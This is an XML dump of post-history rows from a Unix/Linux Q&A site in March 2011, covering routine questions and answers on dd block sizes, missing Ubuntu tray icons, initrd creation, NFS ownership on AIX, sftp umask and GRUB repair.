  <row Id="22434" PostHistoryTypeId="3" PostId="9427" RevisionGUID="ae414d0b-4f9b-4e6f-8556-5d72c8bc3d3c" CreationDate="2011-03-17T05:12:03.467" UserId="5630" Text="éopenofficeà" />
  <row Id="22436" PostHistoryTypeId="2" PostId="9429" RevisionGUID="621ba757-8421-47dd-bfd7-51adc636c049" CreationDate="2011-03-17T05:30:29.510" UserId="5756" Text="I use VPN setups extensively. I suggest OpenVPN rather then IPsec implementations. OpenVPN has much more features and possibilities.&#xD;&#xA;Markus Feilner - OpenVPN is a great book to learn. " />
  <row Id="22437" PostHistoryTypeId="25" PostId="9420" RevisionGUID="cbb18cae-7cd1-48a1-b53f-66d9278ae26c" CreationDate="2011-03-17T05:31:20.103" Comment="http://twitter.com/#!/StackUnix/status/48255069996589056" />
  <row Id="22438" PostHistoryTypeId="2" PostId="9430" RevisionGUID="2a2d37ca-fc07-4869-b84c-e95bff31a877" CreationDate="2011-03-17T05:50:37.220" UserId="250" Text="From the [FAQ][1]:&#xD;&#xA;&#xD;&#xA;&gt; OpenOffice.org version 1 (old)  &#xD;&#xA;&gt; On Windows, you can use the Add/Remove Programs option in the Control Panel. On Linux, you can use ./setup and choose the Remove option.&#xD;&#xA;&#xD;&#xA;&gt; OpenOffice.org version 2 &amp; 3 (current)  &#xD;&#xA;&gt; If you installed OpenOffice.org through another method (an RPM, or a Debian package), using the appropriate package removal tool is best.&#xD;&#xA;&#xD;&#xA;No &quot;Linux&quot; in the text that mentions version 2 &amp; 3, anyway check if the `./setup` file is still there and if there is a &quot;Remove&quot; option.&#xD;&#xA;&#xD;&#xA;Another way is, I think inside the archive the packages are really just RPMs. If so you can use [rpm][2] to remove them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.services.openoffice.org/wiki/Documentation/FAQ/Installation/How_do_I_uninstall_OpenOffice.org?&#xD;&#xA;  [2]: http://linux.die.net/man/8/rpm" />
  <row Id="22439" PostHistoryTypeId="2" PostId="9431" RevisionGUID="d78b6ab7-5c60-46ab-8f34-f5574bcc3200" CreationDate="2011-03-17T06:34:01.743" UserId="5715" Text="when i restarted the computer i found no network icon i tried to access internet but no connection was found also no Bluetooth icon no sound icon no battery icon no power icon !!!!!!&lt;br/&gt;Its really crazy i have to use these commands to display them&lt;br/&gt;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;    bluetooth-applet&#xD;&#xA;    nm-applet --sm-disable&#xD;&#xA;    gnome-power-manager&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;every time i start the system i face this trouble!!how can i fix that? is there anyway to restore previous configuration?" />
  <row Id="22440" PostHistoryTypeId="1" PostId="9431" RevisionGUID="d78b6ab7-5c60-46ab-8f34-f5574bcc3200" CreationDate="2011-03-17T06:34:01.743" UserId="5715" Text="Ubuntu 10.10 notification system area , many icons disappeared like network manager" />
  <row Id="22441" PostHistoryTypeId="3" PostId="9431" RevisionGUID="d78b6ab7-5c60-46ab-8f34-f5574bcc3200" CreationDate="2011-03-17T06:34:01.743" UserId="5715" Text="éubuntuàépowerömanagementàénetworkmanageràéiconsàébluetoothà" />
  <row Id="22442" PostHistoryTypeId="2" PostId="9432" RevisionGUID="9f5e7423-25b3-4fca-a4ae-1295adb74a2b" CreationDate="2011-03-17T06:35:29.993" UserId="4443" Text="On occasion I've seen comments online along the lines of &quot;make sure you set 'bs=&lt;something&gt;' because the default value will take too long,&quot; and my own extremely-unscientific experiences of, &quot;well that seemed to take longer than that other time last week&quot; seem to bear that out.  So whenever I use 'dd' (typically in the 1-2GB range) I make sure to specify the bytes parameter.  About half the time I use the value specified in whatever online guide I'm copying from; the rest of the time I'll pick some number that makes sense from the 'fdisk -l' listing for what I assume is the slower media (e.g. the SD card I'm writing to).&#xD;&#xA;&#xD;&#xA;For a given situation (media type, bus sizes, or whatever else matters), is there a way to determine a &quot;best&quot; value?  Is it easy to determine?  If not, is there an easy way to get 90-95% of the way there?  Or is &quot;just pick something bigger than 512&quot; even the correct answer?&#xD;&#xA;&#xD;&#xA;I've thought of trying the experiment myself, but (in addition to being a lot of work) I'm not sure what factors impact the answer, so I don't know how to design a good experiment." />
  <row Id="22443" PostHistoryTypeId="1" PostId="9432" RevisionGUID="9f5e7423-25b3-4fca-a4ae-1295adb74a2b" CreationDate="2011-03-17T06:35:29.993" UserId="4443" Text="Is there a way to determine the optimal value for the bs parameter to dd?" />
  <row Id="22444" PostHistoryTypeId="3" PostId="9432" RevisionGUID="9f5e7423-25b3-4fca-a4ae-1295adb74a2b" CreationDate="2011-03-17T06:35:29.993" UserId="4443" Text="éddà" />
  <row Id="22445" PostHistoryTypeId="2" PostId="9433" RevisionGUID="a2b3c72e-d491-4124-a9e0-dfbc96ca2d03" CreationDate="2011-03-17T06:41:22.373" UserId="5325" Text="`dd` dates from back when it was needed to translate old IBM mainframe tapes, and the block size had to match the one used to write the tape or data blocks would be skipped or truncated.  (9-track tapes were finicky.  Be glad they're long dead.)  These days, the block size should be a multiple of the device sector size (usually 4KB, but on very recent disks may be much larger and on very small thumb drives may be smaller, but 4KB is a reasonable middle ground regardless) and the larger the better for performance.  I often use 1MB block sizes with hard drives.  (We have a lot more memory to throw around these days too.)" />
  <row Id="22446" PostHistoryTypeId="2" PostId="9434" RevisionGUID="467c81e7-c663-4504-8d77-773b6fba9cc6" CreationDate="2011-03-17T06:41:41.593" UserId="78" Text="There is DVL (Damn Vulnurable Linux) distro ([info here][1]). As description says it is &quot;stuffed with broken, ill-configured, outdated and exploitable software&quot; 'cause of its goal &quot;to teach and demonstrate a variety of security topics, including reverse code engineering, buffer overflows, shell code development, web exploitation, and SQL injection&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/table.php?distribution=dvl" />
  <row Id="22447" PostHistoryTypeId="2" PostId="9435" RevisionGUID="1cb77498-ae00-42b2-8b7b-085544e393ff" CreationDate="2011-03-17T06:53:39.117" UserId="688" Text="Go **System** -&gt; **Preferences** -&gt; **Startup Applications**, and add those three commands manually.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Maybe you got them removed from there (or disabled) by mistake.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/dUbTA.png" />
  <row Id="22448" PostHistoryTypeId="2" PostId="9436" RevisionGUID="dd13e2ef-330e-4764-977f-7691ffadde2d" CreationDate="2011-03-17T07:08:12.450" UserId="5763" Text="How can i create initrd image for a new(experimental) kernel without actually installing it. &#xD;&#xA;(Existing tools to create initrd based on config and details from installed kernel.)&#xD;&#xA;&#xD;&#xA;Say i compile a new kernel with experimental features turned on, i have this in another separate partition. I would like to boot into this kernel, for that will old initrd work ?&#xD;&#xA;if i want to create a new initrd.img for new kernel without actually installing kernel, how can i do it ?&#xD;&#xA;&#xD;&#xA;BTW, can someone clarify about initramfs ? will it be useful for my scenario ?" />
  <row Id="22449" PostHistoryTypeId="1" PostId="9436" RevisionGUID="dd13e2ef-330e-4764-977f-7691ffadde2d" CreationDate="2011-03-17T07:08:12.450" UserId="5763" Text="Creating new initrd without installing kernel" />
  <row Id="22450" PostHistoryTypeId="3" PostId="9436" RevisionGUID="dd13e2ef-330e-4764-977f-7691ffadde2d" CreationDate="2011-03-17T07:08:12.450" UserId="5763" Text="élinuxàékernelàébootàéinitrdà" />
  <row Id="22451" PostHistoryTypeId="5" PostId="9376" RevisionGUID="d2143777-ec42-4763-8022-309d328c5666" CreationDate="2011-03-17T07:08:21.470" UserId="591" Comment="fixed quoting" Text="Hi - Sorry I was being thick in the comments. the sftp-server is being run by root and you pick up root's umask. You should be able to fix this by editing your `/etc/ssh/sshd_config` file and changing the line&#xD;&#xA;&#xD;&#xA;`Subsystem sftp /usr/lib/openssh/sftp-server`&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    Subsystem sftp /bin/sh -c `umask 0002; /usr/libexec/openssh/sftp-server`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22452" PostHistoryTypeId="5" PostId="9431" RevisionGUID="e99623e2-d058-47a8-a805-3e21a512e848" CreationDate="2011-03-17T07:08:47.450" UserId="688" Comment="deleted 11 characters in body" Text="When I restarted the computer I found no network icon. I tried to access internet but no connection was found. I also didn't have the Bluetooth, sound, battery, and power icon. Its really crazy that I have to use these commands to display them:&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;    bluetooth-applet&#xD;&#xA;    nm-applet --sm-disable&#xD;&#xA;    gnome-power-manager&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;Every time I start the system I face this trouble! How can I fix it? Is there anyway to restore previous configuration?" />
  <row Id="22453" PostHistoryTypeId="2" PostId="9437" RevisionGUID="5bab14bb-ac59-49f3-ba99-98311299e4f3" CreationDate="2011-03-17T07:30:12.453" UserId="250" Text="Creating an initrd doesn't have anything to do with installing a kernel. All you do is to create a file structure for the initrd, copy the required files, write the init script and package all of that into a cpio archive. I used the [instructions in the Gentoo Wiki][1] to make my initrd. Some distributions make tools to generate initrds, and for that you will have to name your distro. For example, Arch has [mkinitcpio][2].&#xD;&#xA;&#xD;&#xA;initramfs is just another (newer) [implementation][3] of the initial ramdisk. I don't know for sure, but I think modern distributions all use initramfs. When you see &quot;initrd&quot;, it may be a shorthand for &quot;initial ramdisk&quot;, and thus it covers both initrd and initramfs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/Initramfs&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Configuring_mkinitcpio&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Initramfs#Implementation" />
  <row Id="22454" PostHistoryTypeId="5" PostId="9431" RevisionGUID="6e5afb22-5389-4751-9669-97cee914ffd2" CreationDate="2011-03-17T07:44:00.033" UserId="5715" Comment="add lhisory log" Text="When I restarted the computer I found no network icon. I tried to access internet but no connection was found. I also didn't have the Bluetooth, sound, battery, and power icon. Its really crazy that I have to use these commands to display them:&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;    bluetooth-applet&#xD;&#xA;    nm-applet --sm-disable&#xD;&#xA;    gnome-power-manager&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;Every time I start the system I face this trouble! How can I fix it? Is there anyway to restore previous configuration?&#xD;&#xA;&#xD;&#xA;the history log&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-03-16  11:35:58&#xD;&#xA;    Install: hijra-applet:amd64 (0.1.18-3), python-hijra:amd64 (0.1.18-3, automatic), python-eggtrayicon:amd64 (2.25.3-5ubuntu2, automatic)&#xD;&#xA;    End-Date: 2011-03-16  11:36:15&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  19:12:49&#xD;&#xA;    Upgrade: libkrb5-3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libk5crypto3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), chromium-browser:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-browser-l10n:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-codecs-ffmpeg:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libkrb5support0:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libtiff4:amd64 (3.9.4-2ubuntu0.1, 3.9.4-2ubuntu0.2), chromium-browser-inspector:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libgssapi-krb5-2:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6)&#xD;&#xA;    End-Date: 2011-03-16  19:13:11&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:52:52&#xD;&#xA;    Install: gpredict:amd64 (1.1-7)&#xD;&#xA;    End-Date: 2011-03-16  20:53:03&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:55:55&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  20:56:02&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:07&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:16&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:22&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:28:27&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:53&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:56&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:31:49&#xD;&#xA;    Install: klavaro:amd64 (1.5.0-1build1), libgtkdatabox-0.9.1-1:amd64 (0.9.1.1-3.1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:31:57" />
  <row Id="22455" PostHistoryTypeId="2" PostId="9438" RevisionGUID="aa7d2b42-b6f9-4b3d-b231-9f7093834610" CreationDate="2011-03-17T08:07:56.747" UserId="4815" Text="I am having an error with name resolution that I am not able to figure out.&#xD;&#xA;&#xD;&#xA;The system is able to resolve names, say, www.google.com when using a graphical browser like chrome or firefox. But on the command line it is not able to (unless I add the domain in /etc/hosts). This extends to all operations on the command line like ping and others. We have a proxy in this environment and the proxy information is set using environment variables." />
  <row Id="22456" PostHistoryTypeId="1" PostId="9438" RevisionGUID="aa7d2b42-b6f9-4b3d-b231-9f7093834610" CreationDate="2011-03-17T08:07:56.747" UserId="4815" Text="Name resolution issues in Ubuntu 10.04" />
  <row Id="22457" PostHistoryTypeId="3" PostId="9438" RevisionGUID="aa7d2b42-b6f9-4b3d-b231-9f7093834610" CreationDate="2011-03-17T08:07:56.747" UserId="4815" Text="édnsöresolutionà" />
  <row Id="22458" PostHistoryTypeId="2" PostId="9439" RevisionGUID="a3ac0e7a-08b5-41aa-8451-a963733f5936" CreationDate="2011-03-17T08:10:40.890" UserId="-1" Text="" />
  <row Id="22459" PostHistoryTypeId="2" PostId="9440" RevisionGUID="2747c2ae-0671-4d28-ac26-ddf86a834348" CreationDate="2011-03-17T08:10:40.890" UserId="-1" Text="" />
  <row Id="22460" PostHistoryTypeId="2" PostId="9441" RevisionGUID="7126f6d7-e470-4a5e-a6df-70de2d88dbab" CreationDate="2011-03-17T08:13:52.087" UserId="173" Text="Since kernel 2.6.37, you can look up the name of underlying file (without the length limitation) via /sys/block/loopX/loop/backing_file. Recent util-linux/losetup should support this method." />
  <row Id="22461" PostHistoryTypeId="2" PostId="9442" RevisionGUID="99bc066a-0709-4420-aad9-3d61c570f7e4" CreationDate="2011-03-17T08:14:00.360" UserId="671" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have one IBM AIX server (serverA) which is connected to the san storage. I have created a volume group and also file system (jfs2) and mounted to directory /profit. &#xD;&#xA;&#xD;&#xA;After that I created a NFS share for that directory and started the NFS daemon.&#xD;&#xA;&#xD;&#xA;Over at another server, which is IBM AIX also (serverB), I created a mount point /profit and mounted the nfs share from serverA to serverB using the below command:&#xD;&#xA;mount 192.168.10.1:/profit /profit&#xD;&#xA;&#xD;&#xA;On serverB, I am able to access the directory and list the files in it. But the strange thing is, on serverA, the directory and files are under the oracle user ownership. But in serverB, i see them as a different user.&#xD;&#xA;&#xD;&#xA;When i touch a file in that directory at serverB, on serverA, i see it as another user id.&#xD;&#xA;&#xD;&#xA;Any clue how i can fix this?&#xD;&#xA;&#xD;&#xA;Below is the file listing from serverB&#xD;&#xA;&#xD;&#xA;    $ ls -l&#xD;&#xA;    total 0&#xD;&#xA;    -rwxrwxrwx    1 root     system            0 Mar 16 15:00 haha&#xD;&#xA;    -rwxrwxrwx    1 radiusd  radiusd           0 Mar 16 15:19 haha2&#xD;&#xA;    -rwxrwxrwx    1 radiusd  radiusd           0 Mar 16 15:31 haha3&#xD;&#xA;    -rw-r--r--    1 oracle   oinstall          0 Mar 17 2011  hahah3&#xD;&#xA;    drwxrwxrwx    2 radiusd  radiusd         256 Mar 16 14:40 lost+found&#xD;&#xA;&#xD;&#xA;On serverA it looks like below:&#xD;&#xA;&#xD;&#xA;    # ls -l /profit&#xD;&#xA;    total 0&#xD;&#xA;    -rwxrwxrwx    1 root     system            0 Mar 16 15:00 haha&#xD;&#xA;    -rwxrwxrwx    1 oracle   dba               0 Mar 16 15:19 haha2&#xD;&#xA;    -rwxrwxrwx    1 oracle   dba               0 Mar 16 15:31 haha3&#xD;&#xA;    -rw-r--r--    1 10       sshd              0 Mar 17 16:01 hahah3&#xD;&#xA;    drwxrwxrwx    2 oracle   dba             256 Mar 16 14:40 lost+found&#xD;&#xA;&#xD;&#xA;Below is the /etc/exports file from serverA&#xD;&#xA;&#xD;&#xA;    # more /etc/exports&#xD;&#xA;    /profit -vers=3,sec=sys:krb5p:krb5i:krb5:dh,rw&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="22462" PostHistoryTypeId="1" PostId="9442" RevisionGUID="99bc066a-0709-4420-aad9-3d61c570f7e4" CreationDate="2011-03-17T08:14:00.360" UserId="671" Text="Setting Up NFS Filesystem" />
  <row Id="22463" PostHistoryTypeId="3" PostId="9442" RevisionGUID="99bc066a-0709-4420-aad9-3d61c570f7e4" CreationDate="2011-03-17T08:14:00.360" UserId="671" Text="élinuxàéunixàénfsàéaixà" />
  <row Id="22464" PostHistoryTypeId="25" PostId="9427" RevisionGUID="fcd13d09-9971-4d6e-897c-77dfb5bab008" CreationDate="2011-03-17T08:31:19.673" Comment="http://twitter.com/#!/StackUnix/status/48300367292805120" />
  <row Id="22465" PostHistoryTypeId="2" PostId="9443" RevisionGUID="0d0effdc-ed7b-4861-adcb-498e40bcedb7" CreationDate="2011-03-17T08:46:25.697" UserId="4200" Text="As you asked to do it in bash, here is a solution that doesn't make use of awk, sed or perl, just a bash function:&#xD;&#xA;&#xD;&#xA;    reverse ()&#xD;&#xA;    {&#xD;&#xA;        local line&#xD;&#xA;        read line&#xD;&#xA;        if [ $? -eq 0 ]&#xD;&#xA;        then&#xD;&#xA;            reverse&#xD;&#xA;            echo $line&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The output of&#xD;&#xA;&#xD;&#xA;    echo 'a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d&#xD;&#xA;    ' | reverse&#xD;&#xA;&#xD;&#xA;is&#xD;&#xA;&#xD;&#xA;    d&#xD;&#xA;    c&#xD;&#xA;    b&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As expected." />
  <row Id="22466" PostHistoryTypeId="5" PostId="9431" RevisionGUID="26e8473b-f544-4af8-944e-842c00a061ec" CreationDate="2011-03-17T08:57:22.000" UserId="5715" Comment="add photos for the graphics problem" Text="When I restarted the computer I found no network icon. I tried to access internet but no connection was found. I also didn't have the Bluetooth, sound, battery, and power icon. Its really crazy that I have to use these commands to display them:&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;    bluetooth-applet&#xD;&#xA;    nm-applet --sm-disable&#xD;&#xA;    gnome-power-manager&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;Every time I start the system I face this trouble! How can I fix it? Is there anyway to restore previous configuration?&#xD;&#xA;&#xD;&#xA;the history log&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-03-16  11:35:58&#xD;&#xA;    Install: hijra-applet:amd64 (0.1.18-3), python-hijra:amd64 (0.1.18-3, automatic), python-eggtrayicon:amd64 (2.25.3-5ubuntu2, automatic)&#xD;&#xA;    End-Date: 2011-03-16  11:36:15&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  19:12:49&#xD;&#xA;    Upgrade: libkrb5-3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libk5crypto3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), chromium-browser:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-browser-l10n:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-codecs-ffmpeg:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libkrb5support0:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libtiff4:amd64 (3.9.4-2ubuntu0.1, 3.9.4-2ubuntu0.2), chromium-browser-inspector:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libgssapi-krb5-2:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6)&#xD;&#xA;    End-Date: 2011-03-16  19:13:11&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:52:52&#xD;&#xA;    Install: gpredict:amd64 (1.1-7)&#xD;&#xA;    End-Date: 2011-03-16  20:53:03&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:55:55&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  20:56:02&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:07&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:16&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:22&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:28:27&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:53&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:56&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:31:49&#xD;&#xA;    Install: klavaro:amd64 (1.5.0-1build1), libgtkdatabox-0.9.1-1:amd64 (0.9.1.1-3.1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:31:57&#xD;&#xA;&#xD;&#xA;Another problem that I didn't notice is that there is a problem with the graphics card also the visual effects can't be applied as in these photos![the drivers aren't installed][1]![the effect can't be applied][2] it was working before.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XBEC4.gif&#xD;&#xA;  [2]: http://i.imgur.com/eFRmX.gif" />
  <row Id="22467" PostHistoryTypeId="2" PostId="9444" RevisionGUID="37cf3dc7-8923-4101-919f-1173fa1a7bf3" CreationDate="2011-03-17T09:40:41.107" UserId="3645" Text="I'm running a cron job which should get only the last result of `iostat -d 1 2`. This requires some parsing: What is the simplest way to get either the **last set of non-empty lines** from standard input to standard output if the length of each set is unknown?&#xD;&#xA;&#xD;&#xA;Bad/non-working solutions:&#xD;&#xA;&#xD;&#xA;* `tail` since I'd still need to count the number of lines in the last set. `iostat -d 1 2 | tail -$(echo &quot;$(iostat -d 1 2 | wc -l) / 2&quot; | bc)` depends on equal set sizes.&#xD;&#xA;* `split`/`csplit` since they output to file, and keep the useless part of the data.&#xD;&#xA;* `iostat -d 1 2 | sed '1,/^$/d' | sed '1,/^$/d'` works only in this special case, since it gets the third set of non-empty lines, but also includes any trailing newlines." />
  <row Id="22468" PostHistoryTypeId="1" PostId="9444" RevisionGUID="37cf3dc7-8923-4101-919f-1173fa1a7bf3" CreationDate="2011-03-17T09:40:41.107" UserId="3645" Text="Get last set of non-empty lines" />
  <row Id="22469" PostHistoryTypeId="3" PostId="9444" RevisionGUID="37cf3dc7-8923-4101-919f-1173fa1a7bf3" CreationDate="2011-03-17T09:40:41.107" UserId="3645" Text="étextöprocessingà" />
  <row Id="22470" PostHistoryTypeId="5" PostId="9444" RevisionGUID="9ae6ae83-6e9b-4310-b29c-06b26bfab386" CreationDate="2011-03-17T09:56:29.370" UserId="3645" Comment="added 58 characters in body" Text="I'm running a cron job which should get only the last result of `iostat -d 1 2`. This requires some parsing: What is the simplest way to get either the **last set of non-empty lines** from standard input to standard output if the length of each set is unknown?&#xD;&#xA;&#xD;&#xA;Bad/non-working solutions:&#xD;&#xA;&#xD;&#xA;* `tail` since I'd still need to count the number of lines in the last set. `iostat -d 1 2 | tail -$(echo &quot;$(iostat -d 1 2 | wc -l) / 2&quot; | bc)` depends on equal set sizes.&#xD;&#xA;* `split`/`csplit` since they output to file, and keep the useless part of the data.&#xD;&#xA;* `iostat -d 1 2 | sed '1,/^$/d' | sed '1,/^$/d'` works only in this special case, since it gets the third set of non-empty lines, but also includes any trailing newlines.&#xD;&#xA;* `grep -P` with `\Z` seems to only detect EOL, not EOF." />
  <row Id="22471" PostHistoryTypeId="2" PostId="9445" RevisionGUID="67a561e8-db47-44a7-8875-da4e8f4fe5f2" CreationDate="2011-03-17T09:57:57.367" UserId="5666" Text="Open the /etc/mdadm/mdadm.conf file, find the line that begins with `ARRAY /dev/md1` and remove the line immediately following which states 'spares=1'. Then restart mdadm service.&#xD;&#xA;&#xD;&#xA;If you did a `mdadm --examine --scan` to retrieve the array definitions while the md1 array was still rebuilding, one partition was seen as spare at that moment." />
  <row Id="22472" PostHistoryTypeId="2" PostId="9446" RevisionGUID="1fc184e3-c00c-4189-b054-07a4316f6c75" CreationDate="2011-03-17T09:59:42.560" UserId="4776" Text="Some people have been able to get NTLDR to chain to grub:&#xD;&#xA;http://stringofthoughts.wordpress.com/2009/04/27/booting-linux-from-ntloader-windows-bootloader/&#xD;&#xA;&#xD;&#xA;Although in practice it's easier to use a live CD. I usually do something like:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda2 /mnt/somewhere # mount the linux partition&#xD;&#xA;    chroot /mnt/somewhere bash&#xD;&#xA;    mount /proc&#xD;&#xA;    grub-install /dev/sda2" />
  <row Id="22473" PostHistoryTypeId="2" PostId="9447" RevisionGUID="4cd73049-b878-4ace-b829-8f8350426159" CreationDate="2011-03-17T10:04:49.187" UserId="3349" Text="I am using Fedora 13 and whenever I Restart or Logoff on my laptop. The screen brightness resets to its maximum value. I am not aware of this problem. Can anyone tell me why this is causing and what is the solution for keeping it's to a constant value at all time?" />
  <row Id="22474" PostHistoryTypeId="1" PostId="9447" RevisionGUID="4cd73049-b878-4ace-b829-8f8350426159" CreationDate="2011-03-17T10:04:49.187" UserId="3349" Text="Screen brightness always full when logoff or restart" />
  <row Id="22475" PostHistoryTypeId="3" PostId="9447" RevisionGUID="4cd73049-b878-4ace-b829-8f8350426159" CreationDate="2011-03-17T10:04:49.187" UserId="3349" Text="éfedoraàéscreenà" />
  <row Id="22476" PostHistoryTypeId="4" PostId="9447" RevisionGUID="7fe778b2-c48d-4103-9f2f-9abfbb974604" CreationDate="2011-03-17T10:13:56.837" UserId="3349" Comment="edited title" Text="Screen brightness always maximum when logoff or restart" />
